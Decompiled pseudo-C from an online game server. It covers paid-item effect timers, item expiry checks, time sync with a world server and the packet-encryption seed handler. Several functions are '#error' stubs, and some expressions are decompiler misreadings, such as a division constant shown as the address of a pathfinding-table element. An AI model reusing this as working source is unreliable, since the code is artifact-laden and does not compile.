ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00436920) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute) { ChargedItemEffectList::ChargedItemEffectElement *v7; // esi@1 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7->ciee_Month = month; v7->ciee_Index = index; v7->ciee_Year = year; v7->ciee_Minute = minute; v7->ciee_Date = date; v7->ciee_Hour = hour; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); } //----- (004369B0) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle) { ChargedItemEffectList::ChargedItemEffectElement *v3; // esi@1 ChargedItemEffect *v4; // eax@1 char v5; // al@5 char v6; // al@7 char v7; // al@9 unsigned __int16 v8; // ax@12 unsigned __int16 v9; // ax@14 unsigned __int16 v10; // ax@16 unsigned __int16 v11; // ax@18 unsigned __int16 v12; // ax@20 ChargedItemEffectList::ChargedItem *v13; // ecx@22 unsigned __int16 v14; // ax@23 unsigned __int16 v15; // ax@26 unsigned int v16; // eax@28 ChargedItemEffectList::ChargedItem *v17; // ecx@30 unsigned int v18; // eax@30 unsigned __int16 v19; // ax@35 unsigned __int16 v20; // ax@40 ChargedItemEffectList::ChargedItem *v21; // ecx@42 unsigned __int16 v22; // ax@43 unsigned __int16 v23; // ax@46 unsigned __int16 v24; // ax@48 ChargedItemEffectList::ChargedItem *v25; // ecx@50 unsigned __int16 v26; // ax@50 unsigned __int16 v27; // ax@51 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->ciee_Index; switch ( v3->ciee_Index->EffectEnum ) { case 0: if ( chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute > v4->EffectValue ) chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute = LOBYTE(v4->EffectValue); break; case 1: chargeditem->ci_Effect.cec_ProveOfBless.bless = 1; chargeditem->ci_Effect.cec_ProveOfBless.blesshandle = handle; break; case 2: v5 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreInven; chargeditem->ci_Effect.cec_MoreInven = v5; if ( (unsigned __int8)v5 > 4u ) chargeditem->ci_Effect.cec_MoreInven = 4; break; case 3: v6 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreStorage; chargeditem->ci_Effect.cec_MoreStorage = v6; if ( (unsigned __int8)v6 > 2u ) chargeditem->ci_Effect.cec_MoreStorage = 2; break; case 4: v7 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_StreetBoothSlot; chargeditem->ci_Effect.cec_StreetBoothSlot = v7; if ( (unsigned __int8)v7 > 0x14u ) chargeditem->ci_Effect.cec_StreetBoothSlot = 20; break; case 5: chargeditem->ci_Effect.cec_LighteningPickParts = 1; break; case 6: v8 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v8 ) chargeditem->ci_Effect.cec_HPStoneLimit = v8; break; case 7: v9 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v9 ) chargeditem->ci_Effect.cec_SPStoneLimit = v9; break; case 8: v10 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v10 ) chargeditem->ci_Effect.cec_HPStoneLimit = v10; v11 = v3->ciee_Index->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v11 ) chargeditem->ci_Effect.cec_SPStoneLimit = v11; break; case 0xD: v12 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v12 ) chargeditem->ci_Effect.cec_MaxHPRate = v12; break; case 0xE: v13 = chargeditem; goto LABEL_26; case 0xF: v13 = chargeditem; v14 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v14 ) chargeditem->ci_Effect.cec_MaxHPRate = v14; v4 = v3->ciee_Index; LABEL_26: v15 = v4->EffectValue; if ( v13->ci_Effect.cec_MaxSPRate < v15 ) v13->ci_Effect.cec_MaxSPRate = v15; break; case 0xA: v16 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < (signed int)v16 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v16; break; case 0xB: v17 = chargeditem; v18 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); goto LABEL_33; case 0xC: v17 = chargeditem; v18 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < (signed int)v18 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v18; LABEL_33: if ( v17->ci_Effect.cec_DefendForceRate1024 < (signed int)v18 ) v17->ci_Effect.cec_DefendForceRate1024 = v18; break; case 0x10: v19 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemDropRate < v19 ) chargeditem->ci_Effect.cec_ItemDropRate = v19; break; case 0x11: chargeditem->ci_Effect.cec_MoverNotHungry = LOBYTE(v4->EffectValue); break; case 0x12: chargeditem->ci_Effect.cec_ExpBonus = v4->EffectValue; break; case 0x13: chargeditem->ci_Effect.cec_MoreStat = LOBYTE(v4->EffectValue); break; case 0x14: v20 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v20 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v20; break; case 0x15: v21 = chargeditem; goto LABEL_46; case 0x16: v21 = chargeditem; v22 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v22 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v22; v4 = v3->ciee_Index; LABEL_46: v23 = v4->EffectValue; if ( v21->ci_Effect.cec_ItemPowerDefence < v23 ) v21->ci_Effect.cec_ItemPowerDefence = v23; break; case 0x17: v24 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v24 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v24; break; case 0x18: v25 = chargeditem; v26 = v4->EffectValue; goto LABEL_54; case 0x19: v25 = chargeditem; v27 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v27 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v27; v26 = v3->ciee_Index->EffectValue; LABEL_54: if ( v25->ci_Effect.cec_ProductMasteryRate < v26 ) v25->ci_Effect.cec_ProductMasteryRate = v26; break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); } //----- (00436DD0) -------------------------------------------------------- #error "436DD0: undefined or illegal type '#440' (funcsize=120)" //----- (00436F90) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #440 *ply) { ChargedItemEffectList::ChargedItemEffectElement *v4; // esi@1 unsigned int v5; // edx@1 unsigned int v6; // edx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@8 unsigned int v9; // eax@8 unsigned int v10; // edx@11 unsigned int v11; // eax@11 ChargedItemEffectList::ChargedItem *v12; // [sp-Ch] [bp-20h]@7 unsigned __int16 v13; // [sp-8h] [bp-1Ch]@7 #440 *v14; // [sp-4h] [bp-18h]@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->ciee_Year; if ( v5 > (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_2; if ( v5 < (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_13; v6 = v4->ciee_Month; v7 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; if ( v6 > v7 ) { ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v6 < v7 ) { v14 = ply; v13 = handle; v12 = chargeditem; LABEL_16: ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(v4, v12, v13, v14); goto LABEL_17; } v8 = v4->ciee_Date; v9 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; if ( v8 > v9 ) { LABEL_9: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v8 < v9 ) goto LABEL_15; v10 = v4->ciee_Hour; v11 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; if ( v10 <= v11 ) { if ( v10 < v11 ) { LABEL_13: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } if ( v4->ciee_Minute >= (unsigned int)chargeditemcheck._bf0 >> 25 ) goto LABEL_9; LABEL_15: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } LABEL_2: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); } //----- (00437100) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 59F910: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (00437170) -------------------------------------------------------- #error "437170: undefined or illegal type '#440' (funcsize=25)" //----- (00437240) -------------------------------------------------------- #error "437240: undefined or illegal type '#440' (funcsize=37)" //----- (004372F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 int v10; // eax@1 ITEM_INVEN inv; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v13; // [sp+14h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v13 = 0; v7 = (*(int (__thiscall **)(void *))(v6 + 1352))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; v10 = *((_WORD *)v5 + 2); inv.Inven = (inventype << 10) | slot & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v10, cell, &inv); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00437400) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // esi@1 time_t cur; // [sp+Ch] [bp-24h]@1 FunctionEntarance _; // [sp+10h] [bp-20h]@1 SYSTEMTIME systime; // [sp+14h] [bp-1Ch]@1 int v7; // [sp+2Ch] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; memcpy((void *)&timefromworld, &netcmd[1], sizeof(timefromworld)); v3 = mktime(&timefromworld); time(&cur); systime.wMinute = LOWORD(timefromworld.tm_min); systime.wSecond = timefromworld.tm_sec; systime.wHour = LOWORD(timefromworld.tm_hour); systime.wMonth = LOWORD(timefromworld.tm_mon) + 1; systime.wDay = LOWORD(timefromworld.tm_mday); diffence2world = v3 - cur; systime.wYear = LOWORD(timefromworld.tm_year) + 1900; systime.wDayOfWeek = LOWORD(timefromworld.tm_wday); systime.wMilliseconds = 0; SetLocalTime(&systime); if ( !clockwatch.cw_IsReset ) { clockwatch.cw_CurrTick = 0; clockwatch.cw_TotalMilliSec = 0i64; clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_IsReset = 1; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); } BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(&BossFieldContent::g_ServentBuffBossTable); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); } // 7BC118: using guessed type __int32 diffence2world; //----- (00437570) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; return 1; } // 437585: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004375B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, time_t num) { void *v2; // edi@1 ChargedItemEffect *v3; // esi@1 int v4; // eax@2 ChargedItemEffectList::ChargedItemEffectElement *v5; // edi@3 tm *v6; // eax@4 time_t curtime; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v3 = ChargedItemEffectDataBox::cideb_FindFromHandle(&chargedbuffdatabox, num); if ( v3 ) { v4 = *((_WORD *)v2 + 45538); if ( (_WORD)v4 != -1 ) { v5 = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__stdcall **)(int))(*((_DWORD *)v2 + 22766) + 4))(v4); if ( v5 ) { time(&num); num += diffence2world; curtime = num; v6 = localtime(&curtime); ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( v5, v3, v6->tm_year - 100, v6->tm_mon + 1, v6->tm_mday, v6->tm_hour, v6->tm_min + 5); } } } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); } // 7BC118: using guessed type __int32 diffence2world; //----- (004376D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, int itembag, int inventype) { void *v3; // ebp@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@1 int v7; // ebx@2 int v8; // esi@2 int v9; // eax@4 unsigned int v10; // esi@5 unsigned int v11; // edx@5 int v12; // ecx@8 unsigned int v13; // edx@8 int v14; // ecx@10 unsigned int v15; // edx@10 int v16; // ecx@12 unsigned int v17; // edx@12 int *uii; // [sp+Ch] [bp-28h]@1 int v19; // [sp+10h] [bp-24h]@1 int v20; // [sp+14h] [bp-20h]@1 int ibii; // [sp+18h] [bp-1Ch]@1 int v22; // [sp+1Ch] [bp-18h]@1 int v23; // [sp+24h] [bp-10h]@1 int v24; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)ItemBoxIterator::_vftable_; v22 = itembag; v4 = *(_DWORD *)itembag; v24 = 0; v23 = (*(int (**)(void))(v4 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v5 = *(_DWORD *)v3; LOBYTE(v24) = 1; v6 = (*(int (__thiscall **)(void *))(v5 + 1916))(v3); uii = &ibii; v19 = v6; v20 = inventype; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v7 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v8 = *(_DWORD *)(v7 + 112); if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 36))(*(_DWORD *)(v7 + 112)) != 23 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3) != 6 ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 48))(v8, v7 + 8); if ( v9 ) { v10 = *(_DWORD *)v9; v11 = (unsigned __int8)*(_DWORD *)v9; if ( (unsigned __int8)*(_DWORD *)v9 ) { if ( v11 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v11 < (unsigned __int8)chargeditemcheck._bf0 || (v12 = (v10 >> 8) & 0x1F, v13 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v12 <= v13) && (v12 < v13 || (v14 = (v10 >> 13) & 0x3F, v15 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v14 <= v15) && (v14 < v15 || (v16 = (v10 >> 19) & 0x3F, v17 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v16 <= v17) && (v16 < v17 || (v10 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) ShineObjectClass::ShinePlayer::sp_ItemDelete(v3, v7, inventype, uii[2], v9); } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004378A0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004379C0) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 signed int v2; // edx@1 signed int v3; // ebx@1 int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ChargedItemEffectList::ChargedItemEffectElement *v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->cel_Effect[1]; v5 = -36 - (_DWORD)v1; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = (int)((char *)v1->baseclass_0.l_Array + v5); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v4 - 12; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = (int)((char *)v1->baseclass_0.l_Array + v5); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = (int)((char *)v1->baseclass_0.l_Array + -12 - (_DWORD)v1); v13 = *(_DWORD *)(v12 + v4); v14 = v4 + v12; if ( !v13 ) *(_DWORD *)v14 = v4 + 12; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 24; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = (int)((char *)v1->baseclass_0.l_Array + 12 - (_DWORD)v1); v19 = *(_DWORD *)(v18 + v4); v20 = v4 + v18; if ( !v19 ) *(_DWORD *)v20 = v4 + 36; } v2 += 5; v3 += 5; v4 += 60; } while ( v2 - 2 < 50 ); } // 59F910: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (00437B10) -------------------------------------------------------- int __thiscall Name8::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); result = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 28) = result; return result; } //----- (00437B50) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name8 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n8_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n8_name[8]; *((_QWORD *)result + 2) = *(_QWORD *)&a->n8_name[16]; *((_QWORD *)result + 3) = *(_QWORD *)&a->n8_name[24]; result[32] = 0; return result; } //----- (00437BB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // ecx@4 int v6; // eax@4 int v7; // eax@4 int v8; // eax@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); if ( !(_S4_2 & 1) ) { _S4_2 |= 1u; cmc_12.cmc_AllowMode = 1; atexit(_E5_10); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_12.cmc_AllowMode ) { v5 = gpp.pp_Buffer; v6 = newseed; *(_WORD *)gpp.pp_Buffer = 2055; v7 = v6 + 1; newseed = v7; if ( v7 >= PacketEncrypt::pe_encryptlen ) { LOWORD(v7) = 0; newseed = 0; } *((_WORD *)v5 + 1) = v7; if ( v4 == (void *)-31880 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : No PacketEncrypt", 0); (*(void (__thiscall **)(signed int, signed int, _DWORD, _DWORD))(vFFFF8378 + 1464))(-31880, 1670, 0, 0); } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : Packet Too Long", 4); } } } --funcallanalizer.fca_stackpoint; 